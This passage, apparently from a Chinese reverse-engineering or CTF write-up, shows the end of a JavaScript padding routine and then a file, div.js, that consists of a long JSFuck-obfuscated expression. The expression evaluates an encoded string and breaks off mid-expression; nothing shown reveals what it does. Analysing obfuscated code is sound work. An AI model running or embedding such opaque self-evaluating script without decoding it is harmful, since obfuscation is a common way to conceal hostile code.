    padded[i + 7] = v1 &amp;amp; 0xFF;
  }
  if (input.length &amp;lt; paddedLength) {
    var newInput = new Uint8Array(paddedLength);
    newInput.set(input);
    input = newInput;
  }
  for (var i = 0; i &amp;lt; paddedLength; i++) {
    input[i] = padded[i];
  }
  return input;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有个div.js，里面都是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+